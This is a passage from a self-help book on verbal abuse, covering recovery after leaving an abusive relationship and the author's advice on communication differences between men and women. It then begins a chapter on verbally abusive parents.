Some people, usually ones who are a bit masochistic due to self-worth issues, take a much longer time to get
the message. Those who have really worked on themselves psychologically to rid themselves of any mental
demons take less time to see the light. They kick the verbal vulture to the curb. After three strikes maximum,
they are history!
You finally get it! Yeah! After trying each and every way to rationalize and convince yourself of ways it could
work out, you now realize that there is no hope. You simply can't have this person destroying your identity and
your life. You have resigned yourself to the fact that you cannot fool yourself any longer.
Now you are so excited—free at last. You feel as though a ton has been lifted from your shoulders. You can't
believe how good you feel. You are smiling all the time. People tell you how great you look. You feel that you
have a new lease on life. People actually like being around you now, because you're not always depressed and
talking their ear off about your troubles. You are invited to more places and you are having more fun than ever.
You are open to new things. You even get a new hairstyle, and shed the 10 pounds you gained in the toxic
relationship, which literally “weighed you down!” You look great! You feel great! Everyone around you now is
great! Life is great!
Noooooo! Don't Do It!
Then one evening, things are quiet. The phone isn't ringing and you have no plans. After partying like mad to
celebrate your newfound freedom, you are beginning to come back down to earth as you realize that the party's
over. Now you have to start a new life with new people who are not verbally toxic.
It's tough. You think, “How am I going to meet someone to start a new verbally healthy relationship?” “Where
do I go?” “What do I do?” “Oh no!,” you think to yourself, “What if they don't find me attractive? What if they
don't like me? What if I am alone? What if I never find a relationship again? What if nobody wants to sleep
with me? What if everyone who meets me rejects me? What will happen to me? What if I get so depressed
because of all of this and don't want to go on living? What if I decide to kill myself?”
Now that you have worked yourself over mentally and looked at your newfound freedom as a scary and
horrific nightmare, instead of an exciting and thrilling adventure, you are paralyzed with fear! You feel so
naked, so exposed, so vulnerable—as though you are so completely naked that you aren't even wearing your
skin, let alone your clothes!

Page 166
So, what does your first instinct tell you? Why, of course, reach for the phone and call that familiar person—
your verbal abuser. It's safe. He might be abusive, you reason to yourself, but at least he was yours. He'll make
it all better! You won't be feeling as naked and insecure if you go back with him, you think. So, you reach for
the phone to call the “Him.” Just when we all thought you were doing so well, you are now back for more. The
saga continues, and now we definitely don't want to hear about it. We're sick of hearing about the abuser, and
by now we're sick of you.
Help!!! Emergency!!!
Before you reach for the phone, call your family members, close friends, clergy, and the person you desperately
need the most—a psychotherapist. If you don't know any, call the local mental health association in your area.
Call a university or a medical center in your area. Call your friends. Ask them if they know of one or if any of
their friends know of a good therapist. Call your doctor. Call the health department. Call the American
Psychological Association in Washington, DC.
If you think you can't afford professional help, stop thinking that right now! Often your community has a lowcost
mental health program. The Department of Social Services in your city, county, or state can also help you.
University programs often have clinical counseling available at a low cost. Your clergy can also help you—
that's what they are there for. Their inspirational guidance just might be the mental medicine you need. Maybe
they can at least comfort you during your time of great emotional distress, until you can actually see a mental
health professional who is trained to deal with your specific issues.
I have given you all kinds of options, so there is no excuse! Get help!
Do it now!
Throwaways
What happens when the verbal abusers are the ones who pull the verbal plug? No matter how difficult, even
impossible, the communication was between both of you, nobody likes to be tossed away like a dead raccoon.
Just know that you are probably feeling worse than they are right now. The rejected always feels worse than the
rejecter.
Along with everyone else, I can sit here and give you words of sympathy. Even though we try to say
sympathetic words and phrases in our attempts to comfort you, you'll think we don't know what we're talking
about. You'll wish we'd just shut up, listen to
Page 167
your sob story, dry your tears, and wear a shirt, blouse, or sweater that feels soft, so that when you cry on our
shoulder your face will feel more comfortable and less scratchy.
The following “Talk Back!” section lists some phrases of comfort usually said to a rejectee, and what the
rejectee really thinks about your stupid advice.
Talk Back
Comforter says: “I know just how you feel.”
Rejectee thinks: “No, you don't know how I feel! I'm the only one who can feel
what I feel! How do you know what's going on in my body? I'm the one who
feels like I've been run over by a truck. Have you been run over by a truck?
Nooooo!”
Comforter says: “That awful person! You are better off without her.”
Rejectee thinks: “She wasn't all that awful! No, I'm not better off without her!
Who's gonna go to the movies with me? Who's gonna go to 7–11 with me at 2
A.M. just because I want a fudgecicle?”
Comforter says: “Don't worry, it will be fine.”
Rejectee thinks: “Are you out of your mind? I can't sleep. I feel like vomiting
all the time. My head hurts. I can't stop crying. I can't eat. I want to drink a
whole fifth of whisky and keep drinking and never come out of my drunken
stupor! It will not be fine!”
Comforter says: “You'll find someone else.”
Rejectee thinks: “It took me ten years just to find this guy! When will I find
someone else? When I'm 90?”
Comforter says: “There are plenty of fish in the sea.”
Rejectee thinks: “Yeah, but what sea do you catch them in? Where are they?
How come all the good fish are taken? If there are so many fish in the sea, how
come I only attract sharks?”
None of these words help you feel better. Instead, they make you feel worse! Just know, you will feel bad, very
bad, horribly bad for a while. But then, after you are able to hold some food down, sleep, stop crying and have
an occasional smile on your face—when you have spent time away from the rejecter—you will see something
you never saw before! He did you a favor.
If he left you and you were a verbal tormentor, you learned something very valuable. Don't mess with people's
self-respect. Talk to them like human beings with the dignity they deserve, or you won't be talking to anybody!
Page 168
If, on the other hand, he left you and he was the verbal tormentor, he probably left you for a number of reasons
that most likely have nothing to do with you! Here are some of the reasons that tormentors might leave you:
1. They felt shame, embarrassment, and guilt over how they treated you.
2. They didn't feel that they were worthy of you.
3. They didn't get the reaction they wanted out of you. They either wanted you to fight back, and you didn't, or
they wanted you to take their abuse, and you fought back instead.
4. They were tired of you. You were a verbal toy. They were done playing with you, so they threw you away.
5. They needed more people to abuse, to feed their sick souls. They were like verbal vampires, who need to
suck the lifeblood out of their verbal prey and quickly move on to the next innocent victim.
No Stalkers or Fatal Attractions Allowed!
If someone leaves you, sure you can try to work it out, but if it doesn't work after three attempts, don't go back
for more verbal hell. It is not worth it!
It's also not worth the legal hassles that would await you. Instead, listen to the song “Got the Message” on my
Love Healing—Music for the Heart cassette or CD (ordering information is in the back of the book). I'm not
just being a self-promoter here; I am trying to help you through music. I have received letters and phone calls
from people all over the country telling me that this album has helped them tremendously in getting over some
of the most difficult moments in their lives.
Mourning and Waking Up Renewed in the Morning.
Certainly you will go through a roller coaster of emotions, and grieving the relationship, no matter how
verbally toxic it was. The key here is to hurry up and grieve, so that you can get on with a brand-new, healthy,
and positive perspective on life. A therapist or great friends can help you with this grieving process by allowing
you to verbally vent. The best way to get over this difficult period is to make a list of all the verbally toxic
things your opponent ever said to you. It doesn't matter if you don't remember the exact words. Just write down
the specific circumstances or the different times it occurred.
Whenever you are feeling down and wishing you could go back to the relationship, just pull out your list. That
will cure you and speed up your emotional recovery period!

Page 169
When You're on the Verbal Merry-Go-Round
After you have finished mourning, you will from time to time have negative thoughts about the verbal
tormentor. Do the “Stop the Thought” Technique mentioned earlier in this book. It will help you a lot!
Also, find solace in the fact that what goes around comes around. You might not see the immediate results, but
rest assured they will suffer the consequences of their actions. If they are treating you with verbal disrespect,
chances are they are doing the same with others. As I said earlier in this chapter, leopards don't change their
spots.
Never forget what they did to cause you such pain! And yes, no matter what the self-proclaimed gurus tell you,
you do not cause yourself pain, others cause you pain.
Forgiving Yourself Right Now!
Look, you didn't purposely seek out this verbal abuse. Chances are that you were attracted to this individual, no
matter what area of your life he was in, and you found out what a verbal jerk he was! It's not your fault! You
did nothing wrong, trust me! The only thing you need to examine is if there is a pattern here. If you find that
your life has been filled with too much verbal abuse, you may want to look at why this is so. Perhaps there was
something familiar about their behavior, something that you were conditioned by early on in life. If that is the
case, you have to be conscious of this and watch yourself so that you are not drawn to another similar type of
person.
Later on in the book, I share with you the various types of verbal abusers. Examine these types carefully. Once
again, you might see even more of a specific pattern developing with regard to the person you're attracted to.
And yes, as a counseling psychologist, I am strongly promoting the value of my profession. Go see one! Earlier
I told you how to find one, so do yourself a huge favor and see one as soon as possible.
Make Yourself Feel Reeeeal Good!
This is the time you have for yourself!
As I said earlier, the best thing you can do is get professional help of some kind. The next thing you can do is
to heal yourself.
Next, pamper yourself! And I mean major pampering! Don't feel guilty. This is money well spent! Pretend you
are a prince, princess, sheik, king, or queen, and take one day off to book yourself solid in order to do things
with the sole purpose of making yourself feel not only good but great!

Page 170
Whatever it is, do it and enjoy! Here is a list to give you some ideas for having this great day just for you.
• Go to the theater or a live sporting event (no matter how expensive it is).
• Go somewhere or do something you always wanted to, although you never had the time or the energy.
• Go dancing or to a club.
• (Unless you have an alcohol problem) Go to a bar (even a cigar bar) and have all the drinks you want,
providing that you do not drive home in a drunken state (you don't want to make it your last day!).
• Go shopping and splurging on whatever you want, forgetting about the money and knowing that you will
somehow pay it off in time.
• Get a manicure, pedicure, facial, haircut and style; get waxed (if you are a woman or a man for that matter),
get a shave at the barber's (if you are a man), and top it all off with a warm and relaxing bubble bath, followed
by a full body massage.
• Have many of these pampering specialists in your home to carry out your regimen of being pampered.
• Lie in bed all day sleeping.
• Have an eating marathon, not caring about diets and calories, but eating your favorite food, perhaps in your
favorite restaurants, even going to a different restaurant for coffee, breakfast, lunch, tea, dinner, and drinks.
• Have a book marathon, reading everything you ever wanted to read.
• Participate in a sport you love or take lessons in a sport you always wanted to try—for example, snowskiing,
waterskiing, in-line skating, hang-gliding, horseback riding, skeet shooting, and polo.
• Have a video marathon, watching every video you've ever wanted to see.
• Spend the day having a sex marathon with a loved one.
No matter what it is that you do, you have one sole purpose, and that is to make YOU feel good. No calls! No
meetings! No problems! This is your day and your day only, so take advantage of it, cherish it, and don't feel
guilty about it!
This pampering can also help prevent you from going back to the verbal abuser or heal the emotional pain and
distress she caused you! Whenever you think of her or see another one coming your way, think of this
marvelous day, and it will help you get through the difficult days.
Page 171
Page 173
PART 4
VERBAL WARFARE WITH SPECIFIC PEOPLE IN YOUR LIFE
We have been brought up to believe that all people are created equal and need to be treated the same. In
reality, people are not all created equal. They are created quite differently. Some people are pushier, nastier,
quieter, sneakier, friendlier, happier, and sadder than others. Now we know that there is not only a
biochemical component to these behaviors, but also a very strong environmental influence.
At this point, it doesn't matter how or where the toxic verbal behavior began. The only thing that matters is the
fact that these adversaries don't make you feel good whenever they are in your presence or whenever you think
of them.
These verbally toxic people seem to crop up in just about every area of your life! They might appear in your
own family, at work, when you need to deal with a professional, or when you're minding your own business,
going about your daily life. These verbal abusers, who will be discussed in Chapters 17, 18, and 19, are
everywhere!
In this part you learn how to actually deal with these people, depending who they are in your life, and what
your relationship is to them. You'll learn to apply appropriate techniques, depending not only on who that
person is, but upon what “verbal crimes” they've committed against you.
Page 175
Chapter 14
Gaining the Winning Verbal Edge Between the Sexes
No more male bashing! No more female bashing! No more lectures about how different men and women are!
No more hearing how “men are from Mars and women are from Venus!” Trust me, we get it! We don't need to
be beaten over the head with the same information. In this chapter, you learn less commonly shared
information that strictly concerns how men and women speak to one another. I will discuss specific body,
facial, and head positions, vocal patterns, pronunciation of sounds, words, phrases, and content of speech that
are specifically indigenous to men or to women. This chapter is not designed to make you feel bad or guilty for
how you speak to members of the opposite sex. Instead, it is designed to teach you the language of the opposite
sex, so that you will know what the other truly means by what he or she says.
Because today's litigious society demands respect and equality, you have no choice but to put the information
you learn in this chapter into action. If you do, you'll never experience the pain and frustration that comes from
miscommunication.
Page 176
What's the Real Deal?
What is the number one reason for divorce? What is the number one reason for marital affairs among couples?
With the exception of medical problems, what is the major reason for sexual dysfunction among couples? What
is one of the main reasons women are not advancing up the corporate ladder as rapidly as they should?
Aside from a few unsavory individuals whose main concern is financial gain, why are there so many sexual
harassment suits bombarding our courtrooms today? The common denominator of all of these questions is
“lack of communication.” This lack of communication between the sexes is a serious issue, so serious that it
can determine not only the quality of your professional life, but your personal life as well. It can even affect the
seemingly benign things you do on a daily basis and your interactions with people you encounter throughout
the day.
Not knowing how to effectively speak and understand employers, employees, and co-workers of the opposite
sex can make the time you spend at work “hell on earth.”
Learning to Be Bilingual
Perhaps the people who have the best opportunities in life are those who know another language. I know this
first-hand. Understanding and speaking languages other than English has proven to be invaluable to me in my
personal and professional life. Even understanding certain dialects and slang words and expressions among
young people has helped me, as I mentioned earlier in this book (see “Bingo! You Got the Lingo!” in Chapter
9).
What has been the advantage of knowing these different languages, aside from allowing me to order a meal, get
appropriate hotel service, and understand spoken direction (so I don't get lost) in another country? Knowledge
of these languages has helped people to relate to me more quickly and to have immediate affection for me,
unless of course I'm yelling at someone who has been totally mean and obnoxious to me. Similarly, when
women learn to speak “man talk” and men learn to speak “woman talk,” suddenly there is more affection,
camaraderie, communications, friendships, and more exciting intimate relations.
Throughout the rest of the chapter you learn how to speak one another's language and decode the signals, so
that you never again have to worry about being misunderstood.
Page 177
Once Upon a Time There Was an Infant Boy and Girl
Men are raised differently than women are—yes, even in this day and age when we are supposed to be more
sophisticated and aware. We clearly see this difference in people as early as infancy. For example, in a study at
an Ivy League university, men and women were put into a room with infant boys and girls. Before entering the
room, the men and women were told that the infants were all little girls. As they entered and stayed in the
room, both men and women spoke in a soft voice, making delicate cooing sounds and saying comments to the
infants such as “You're so pretty.” “Look at how beautiful you are.” “You are a little princess.” There was
hardly any physical contact.
Next, these same men and women were lead into another infant nursery, where—they were told—all the babies
were little boys. Upon entering the room and subsequently spending some time there, the behavior of the adults
changed greatly. The decibel level rose. The infants were actually taken out of their cribs and held under their
arms as they kicked the air beneath them. The adults used phrases such as “What a big strong boy,” “You're
gonna grow up to be a football player,” and “Hey, you little pumpkin head.”
More often than not, a parent will tolerate a boy's impoliteness—“Gimme that”—over a girl's impoliteness,
insisting that “little girls don't talk that way and have to say ‘please’ and ‘thank you.’”
There's Only One Brain!
Now of course I have to bring in the other element—not nurture, but the biology of how little boys and girls are
wired neurologically and hormonally. Unlike little boys, little girls have an initial growth spurt in the left
hemisphere of the brain. As a result of this difference in neurological development, they tend to become more
fluent and develop a greater repertoire of speech and language skills than boys. Little boys take about four
years to catch up with this growth spurt. In the meantime, some serious environmental stimulation has taken
place, and little girls get more parental verbal attention because they are more responsive, due to the advanced
growth of their neuroanatomy.
In this case, the behavior of parents corresponds to real physiological characteristics. This is not true in the case
of parents conditioning their sons to be more mechanically and mathematically inclined. The right hemispheres
of boys' brains do not grow more rapidly than those of little girls; the difference is purely environmental. In
fact, I, along with many other specialists in the field, believe that if little girls were equally encouraged in
mechanical and cognitive abilities, we would observe little or no differences between the sexes in this area.

Page 178
What Shall We Talk About?
A major study by Dr. Adelaide Haas at the State University of New York department of Speech
Communication found that the conversation topics most likely discussed among men and women vary greatly.
The following list shows the topics in order, based on gender:
Women Men
1. Men 1. Women
2. Food 2. News events
3. Family relations 3. Sports
4. Clothing 4. Arts
5. News events 5. Sex
6. Work-related issues 6. Work-related issues
Men tend to discuss things and what they did, while women tend to discuss their feelings about what they did
as well as their feelings about other people.
What does all of this mean? It means a lot! It means that when you are around the opposite sex, you will be
more confident in bringing up these topics, as you will establish a communication bond more quickly.
He Says—She Thinks! She Says—He Thinks!
Because there is such confusion in the way men and women speak to one another, a man might innocently say
something to a woman that causes her to fly off the handle. In turn, she might say something that aggravates
him. Both of these people have no
Page 179
clue why the other has gotten so mad at what they said. The man often thinks the woman might just be going
through PMS. The woman, on the other hand, thinks that the guy is just being a jerk. “Who is right? Who is
wrong? What is going on here? First of all, nobody is right! And nobody is wrong! In fact, they are both right!
The man is just talking “male,” while the woman is understanding what he says in “female.” Conversely, the
woman speaks “female” while the man hears in “male.” It's as simple as that! If the man understood her
“female” language and the woman understood his “male” language, I wouldn't be using them as an example in
this book.
Here are five common examples of conversations that are misinterpreted merely because one person doesn't
really understand the other's language. I'm sure that at one point or another, every one of us has experienced at
least one of these situations.
No-No Scenario 1
John (in the living room while Mary is in the kitchen): Hey, Mary, get me a beer!
Mary: Get you what?
John (thinking she didn't hear him, he yells even louder): GET ME A BEER!
Mary: Get it yourself! Who do think I am, your maid?
John (shocked): What is wrong with you? All I asked you was for a lousy can of beer and here you go and
chop my head off!
Mary: Well, I don't appreciate being ordered around like some slave!
John: Who is ordering around? What is this? Do you have PMS or something?
No-No Scenario 2
Ann (wearing a brand new outfit, hair perfectly coifed, and looking stunning): So, how do I look?
Bob: You look nice.
Ann: Nice, what do you mean?
Bob: I mean, nice.
Ann: Well, if you don't like how I look, why don't you just tell me!
Bob: I am telling you. You look nice.
Ann: Look, if you want me to change my outfit I will.
Bob: What are you talking about? What's wrong with you?
Page 180
No-No Scenario 3
Dave (seeing Debra sulking and looking sad): What's wrong?
Debra: Nothing!
Dave: Are you sure?
Debra: Yes. I said nothing's wrong.
Dave: Well, then, how come you are sulking?
Debra: You should know!
Dave: No, I don't know! Tell me!
Debra: Well, if you don't know, I'm not going to tell you.
Dave: If I knew then I wouldn't be asking you.
No-No Scenario 4
Fred: I can't believe the day I had. Everything went wrong—from getting a ticket, to getting reprimanded at
work, to losing an account, to hearing that my cousin John is in the hospital.
Jill: I had an awful day too. I saw so many clients today. I overdrew money in my account…
Fred (cutting her off): Why do you always do this to me?
Jill: Do what to you?
Fred: Compete with me?
Jill: Compete with you? What are you talking about.
Fred: What you said just now, you're competing with me—your day was worse than mine.
Jill: I'm just trying to relate to you and comfort you.
Fred: Well, you're not!
No-No Scenario 5.
Tina: You never call!
Jack: Yes, I do.
Tina: No, you don't, and you never surprise me with flowers or any gifts!
Jack: What did I do for your birthday?
Tina: That was a year ago! Two years ago you got me a junky bracelet. You didn't even bother to get me
anything on Valentine's day four years ago. You never even remembered my birthday!

Page 181
Jack: That was in the past. Why do you always have to bring up the past?
Do any of these scenarios sound familiar to you? If they do, you are definitely not alone. These scenarios typify
the common miscommunication between men and women. Either sex might think they are being kind or
neutral, but in reality they are perceived as mean, bitchy, unreasonable, and insulting. The following section
gives a translation of what was really meant to be conveyed in each of the scenarios.
He Says—He Means! She Says—She Means!
In Scenario 1, when John says “Get me a beer,” Mary interprets that as being ordered around, feeling that John
is insensitive to the fact that she too just came home from a hard day's work. When he repeats it again, in an
even louder voice, Mary is furious and lets him have it by telling him to get it himself while using a huffy and
upset voice. John is totally confused about what happened here. His only explanation is that Mary must be
tense due to pre-menstrual syndrome. Unknowingly, John created this situation, which results in both parties
being upset.
Scenario 1
Shoulda Said
Had he said “Honey, would you mind please getting me a beer since you're at the refrigerator? I'd really
appreciate it,” none of this would have happened.
Bottom line solution: Don't talk in command terms!
Scenario 2
Shoulda Said
In Scenario 2, when Bob answers Ann's question about how she looks with the bland and benign word “nice,”
Mary thinks that he doesn't like what she's wearing or how she looks. His one-word response with this vague
word really didn't satisfy her insecurities and, more important, her desire to have Bob think she looks beautiful
and sexy.
Had Bob said “Honey, you look [phenomenal, gorgeous, beautiful, sexy, fantastic]” (take your pick), Ann
would have felt great, thereby boosting her confidence, especially her confidence about how Bob saw her. She
would have felt wonderful because she was able to provide Bob with something pleasing to his eyes. Had he
gone on to explain in more detail why she looked so gorgeous (for instance, “Your hair looks so shiny and
silky and that color brings out the green in your eyes”), she would have felt even better.
Bottom line solution: Use more descriptive adjectives. Never use average or bland words.

Page 182
Scenario 3
Shoulda Said.
Had Debra honestly opened up and told Dave what was the matter, he would not have become so frustrated
with her. He felt hopeless and confused, emotions that subsequently turned into anger.
Bottom line solution: Don't think that the other person is a mind reader. Open up and say what's on your mind.
Scenario 4
Shoulda Said
Had Jill not told him about her day, immediately after Fred poured his heart out to her, he would not have
become irritated with her. Innocently, Jill was just trying to make him feel better by sharing with him that he
wasn't alone and that she too had a bad day. She was trying to be empathetic; Fred interpreted this as her being
competitive with him, being insensitive to his distress, ignoring his feelings, and not providing him with the
sensitivity and nurturing he needed.
After Fred verbally unloaded his burden, Jill needed to say something like “Oh, I'm so sorry, you must feel
awful. What happened when you got the ticket?” She could have asked him to give her more detail about
anything else that upset him about his day. That way, he would think that she really cared and was greatly
concerned about him.
Bottom line solution: Listen to a problem. Be sympathetic and ask questions (in kind tones) to further explore
the person's problem so that he or she can vent further. Never talk about what's bothering you and your
problem until after you have completely addressed his.
Scenario 5
Shoulda Said
Had Tina not started out the conversation accusing Jack, he might have been less defensive and less closed off
to her plight. To top it off, she brings up things from the past that have nothing to do with what's going on in
the present. Because of her accusations and whining, he probably never feels like getting her a gift, or for that
matter, even seeing her.
Tina needed to start the conversation saying something to the effect of “It really hurts my feelings” or “It really
makes me sad when I don't get a gift from you as a token of how you feel about me.” Jack probably would have
answered with “Oh, I am so sorry, you know I love you. It's just hard for me to pick out gifts. I wasn't raised
with gift giving, so it's not important to me. But since it means a lot to you, I'll be more conscious of it.” Later
that day or the next day, Tina might indeed be surprised by his token of affection. Instead, Tina put him on the
defensive. And she added insult to injury by bringing up his misdeeds of the past. This further alienated him
and

Page 183
made him feel more defensive and angry. Now he felt like really never wanting to get her anything.
Bottom line solution: Don't accuse. Instead, tell how the situation makes you feel. Secondly, don't bring up the
past.
Oh! So That's What You Meant!
The next two sections explain how to speak “male language” and “female language.” Included are some of the
most common body signals, facial signals, words, phrases, and conversations that are indigenous to each of the
sexes. As was discussed earlier, this has a lot to do with our social conditioning!
Not all males do these typical behaviors, nor do all females exhibit the typical female behavior patterns. What I
discuss in this section is general information, where the psychosocial research done on these areas reflects the
norm—the typical communication pattern used by the general population of males and the general population
of females.
Don't be surprised if you recognize yourself as you read some of the points that are common to a specific sex.
You might see how you have misinterpreted the actions of the opposite sex, thereby causing yourself
unnecessary emotional pain, frustration, and aggravation. On the other hand, perhaps there are several
behaviors you don't do—this indicates that you either were raised with a better understanding of how to
communicate with the opposite sex, or learned by experience. Now is your opportunity to learn everything you
didn't know before about the main points indigenous to the communication skills of the opposite sex.
Basic Male 101
This section lists typical male communication patterns—some of the key things men communicate and how
they may be misinterpreted. A woman's knowledge of these patterns will help her to realize that men's
seemingly rude, distant, or obnoxious behavior is not that at all. In their innocence, men are just speaking
“male.”
Body Language:
1. Taking up more space. Perception: they are hogging space and trying to take over.
2. Sitting further away. Perception: they don't like the woman.
3. Gesturing with their fingers, often pointing their finger. Perception: they are admonishing you.
4. Fidgeting and shifting their bodies more than women do. Perception: they are not interested or are anxious to
leave the situation.

Page 184
5. Assuming a more reclined position when sitting or leaning back when listening. Perception: they are being
judgmental.
Facial Language:
1. Cocking their head to the side and looking at the person at an angle while listening to them. Perception: they
are being judgmental or disinterested.
2. Frowning and squinting when listening. Perception: disapproval.
3. Using little eye contact in positive interaction. Perception: they are disinterested and distant.
4. Providing fewer facial expressions and fewer reactions than women when listening. Perception:
disagreement or disapproval.
5. Avoiding eye contact and not looking directly at the other person. Perception: disinterest or dislike.
Speech and Voice Patterns:
1. Interrupting and allowing fewer interruptions from others. Perception: they regard the other person as
unimportant or not knowledgeable.
2. Using less intonation or vocal inflection. Perception: disinterest, disapproval, apathy, and dislike for the
other person.
3. Allowing more silence during conversation lulls. Perception: they have nothing more to say and want to end
the conversation.
4. Giving more command terms. Perception: they are acting with hostility.
5. Using fewer emotional state verbs (such as “I feel,” “I hope,” “I love”). Perception: they don't care and are
insensitive.
Communication:
1. Teasing more, playing practical jokes, and using sarcasm as humor (often making a joke out of “sensitive”
issues). Perception: acting in a hostile way and not liking the woman.
2. Apologizing less often after an argument. Perception: being stubborn and uncaring.
3. Liking to hear accolades about themselves and talking more about their accomplishments. Perception: they
are being egomaniacal.
4. Confronting issues less. Perception: being uncaring and disinterested and purposely hurting the woman.
5. Disclosing less personal information. Perception: they are hiding something, being dishonest (possibly
cheating).
Page 185
6. Invading one's personal space more than women do. Perception: being obnoxious and trying to be
intimidating.
Basic Female 101
Before a man thinks that the woman is driving him nuts or just having PMS, here are some common
communication actions that typify women's communication patterns. Knowing about them can save the male a
lot of unnecessary grief and nurture a more positive and upbeat—and in turn, healthy—relationship.
Body Language:
1. Assuming a more forward position than men when sitting or listening, and leaning forward. Perception:
caring a lot about what is said; extreme interest.
2. Having a weaker handshake. Perception: being weak and powerless.
3. Sitting closer to men. Perception: the woman really likes the man.
4. Taking up less physical space, and sitting with arms and legs towards the body. Perception: being inhibited
and submissive.
5. Sitting directly in front of a man, and having forward face-to-face contact. Perception: being extremely
interested in the man or being forward. It can also be misconstrued as an uncomfortably confrontational act.
Face Language:
1. Nodding head “yes” even when not in agreement. Perception: Wanting to be liked and accepted.
2. Lowering their head during every negative confrontation. Perception: being weak and submissive.
3. Providing more animated facial expressions during conversation. Perception: being overly emotional.
4. Eyes facing the person directly when speaking. Perception: being forward or even invasive.
Speech and Voice Patterns:
1. Allowing more interruptions. Perception: being weak.
2. Ending sentences with a rising pitch, adding a tag ending to a declarative statement, or asking a question
when it calls for making a statement (for example, “It's a nice day?” or “It's a nice day, isn't it?”). Perception:
being uncertain, weak, not powerful, and not in control.
3. Using more intensifiers such as “very,” “really,” and “much.” Perception: being overly effusive and
exaggerating, and being more emotional.
Page 186
4. Saying more words per sentence or thought. Getting very detailed and taking a long time to get to the point.
Perception: being unprofessional, wasting time, being thoughtless, scattered, and frivolous (this usually creates
the reaction of impatience).
5. Often having voices that are too high, breathy, and little girl-sounding. Perception: being a lightweight, less
bright.
Communication Patterns:
1. Tending to take rejection more personally. Perception: being overly sensitive.
2. Not laughing at or responding favorably to practical joke and cutting sarcastic humor. Perception: having no
sense of humor.
3. Trying to match troubles by relating similar experiences. Perception: competing with the man or trying to
top him, and not listening to or caring about what he says.
4. Confronting issues and situations more than a man would. Perception: being nagging or harping on the past
(this often makes the man feel angry and defensive).
5. Censoring thoughts less than men and communicating more through stream-of-consciousness. Perception:
being ditsy, spacey, or flighty.
See What I Mean?
In looking at the differences in the preceding section, it is no wonder that men and women are always at one
another's throats. Little wonder that these misinterpretations of the male and female language result in
explosions of tempers and devastation of feelings. It is sad and, when you think about it, also rather amusing. If
we had the key to unlock the box of mysteries about how the opposite sex communicates, there would be less
divorce, fewer sexual harassment suits, and much less ill will between one another. Now you have some of the
tools right at your fingertips.
The next section lists several easy steps men can take to immediately improve their relationships with women,
and women with men. I have chosen only some points for each sex, since they represent the differences leading
to the most common misunderstandings.
Note than I am not trying to turn men into women and women into men! I am just giving you some things to do
if you want to modify your communication patterns when you deem it necessary, in order to get along much
better. Of course, these are only suggestions, but rest assured that if you do employ them, you might see some
amazing and instant results.

Page 187
What Men Need to Do
1. Stop making commands. Make requests instead.
2. Always use the words “please” and “thank you” whenever making a request. Use terms of politeness as
often as possible.
3. Use more psychological state verbs to express how you are feeling.
4. Don't be embarrassed to ask for help as soon as possible.
5. Don't use sarcastic or cutting humor.
6. Don't interrupt.
7. Don't take up so much room physically.
8. Have more enthusiasm in your voice. Don't wear your emotions on your sleeve. Instead, wear them on your
vocal tones.
9. Don't lecture someone—have a dialogue and not a monologue.
10. Look at a person face to face when speaking.
11. Use more descriptive adjectives.
12. Don't frown when listening.
13. Show more emotional reaction in your face when you speak and listen.
14. Open up more—don't use one-word responses to answer questions.
15. Don't keep changing topics midstream in a conversation a woman brings up.
16. Stop fidgeting and rocking back and forth.
17. Disclose more personal information about yourself.
18. Don't point your finger at people when talking to them, especially when you want to express a point.
19. Apologize immediately if you have done something wrong.
What Women Need to Do
1. Get to the point—stop beating around the bush.
2. Never cry in a work situation when frustrated, no matter what.
3. Never use tag endings or make a statement as though it sounds like a question.
4. Never match experiences or tragedies. Listen and sympathize instead.
5. Lower the pitch of your voice and talk louder.
Page 188
6. Don't hold grudges.
7. Don't apologize if you haven't done anything wrong.
8. Don't accuse or you'll always lose! Ask instead!
9. Think about what you are going to say and are saying. Edit and don't say everything that comes into your
mind.
10. Don't shake your head “yes” (indicating agreement) just to be polite, when you really disagree or aren't
interested.
11. Take up more physical space and move around more when you speak.
12. Stay in the present. Don't bring up the past when arguing about an issue at hand.
13. Speak up in terms of what's bothering you. After all, the other person is not a “mind reader.” You have to
clearly state what's bothering you and stop playing the guessing game with him.
14. Disclose less personal information about yourself.
15. Be more open to “male humor.” Even if you can't relate to it, don't dismiss it or chastise men for using it.
16. Bring up more male-oriented topics.
17. Make fewer tentative statements that indicate “I'm not sure” or “maybe.”
18. As impossible as a task might seem, try not to take criticism and rejection personally, in a way that affects
your self-esteem, security, and subsequent performance.
19. Speak in more modulated tones, so that you don't give the illusion of being out of control emotionally.
20. Try not to giggle or laugh all the time, especially when you are feeling nervous and uncomfortable.
Saving You a Lot of Grief!
Incorporating the majority of these points, where appropriate, may help you in all aspects in your life where
you need to communicate effectively with the opposite sex—from the boardroom to the bedroom. Sometimes,
when you are fully aware of these differences, you no longer get upset, irritated, hurt, or confused by what the
other said. Instead, you now know that it's just “male talk” or “female talk.” You have the option of doing
something about it or doing nothing.
The basic message of this chapter is that just being aware of these differences can make you laugh, chuckle,
smile knowingly, or shake your head. Now you know for sure that
Page 189
what is being said by the opposite sex is not intended negatively or meant to irritate you, intimidate you, or hurt
your feelings.
Therefore, you won't get angry, cry, feel sad and depressed, or jump to conclusions that have no basis
whatsoever! If you take advantage of everything in this chapter pertaining to your new-found understanding of
the opposite sex, you'll save yourself an enormous amount of grief!
Page 191
Chapter 15
Blood Is Not Always Thicker Than Water!
Just because people are related to you doesn't mean you have to take their verbal abuse. You might say, “Well,
after all, it's my mother (or father); it's my flesh and blood.” Although this is true, there are some family
members who can make your flesh crawl and make your blood boil. Even if someone happens to be a family
member, you still need to protect yourself against his verbal venom, which, as we discussed earlier in the book,
could even be life-threatening. Now you have choices! You can use different techniques on different family
members—whichever is most likely to work. The purpose of the general technique is to get you the results that
you need to establish a harmonious and peaceful relationship with people to whom you are related.
Defense Against Verbally Abusive Parents
When your parents verbally abuse you, your first instinct is to say or do something to stop them, but then you
might hold yourself back, reasoning that after all, they are still your parents.
Page 192
While all religious teachings encourage honoring your father and mother, clearly some parents have no
business becoming parents. Such parents physically, mentally, and emotionally abuse their children to the point
that they inflict painful, severe, and irreparable damage on their offspring. This verbal abuse doesn't occur only
in childhood—it is carried on into teen and adult years.
Long-Lasting Effects
This damage is so lasting that I have seen the devastating results in my own private practice. In fairness to the
parents, most do not mean to become verbal terrorists. Often a continuous legacy of verbal abuse exists: They
learned it from their parents, who in turn learned it from their parents, and so forth. Sometimes parents will
make fun of their child without even realizing the comments' devastating and lasting impact on their children's
psyches.
Your Best Bet!
Parents' most common crime is to be the accusing critic or cut down their child constantly, even to point where
they are unaware of it, and it becomes second nature.
If this has been done to you, you should use the Direct Confrontation technique discussed in Chapter 11 to help
heal your emotional wound. Your parents need to be told directly and bluntly that what they are saying is very
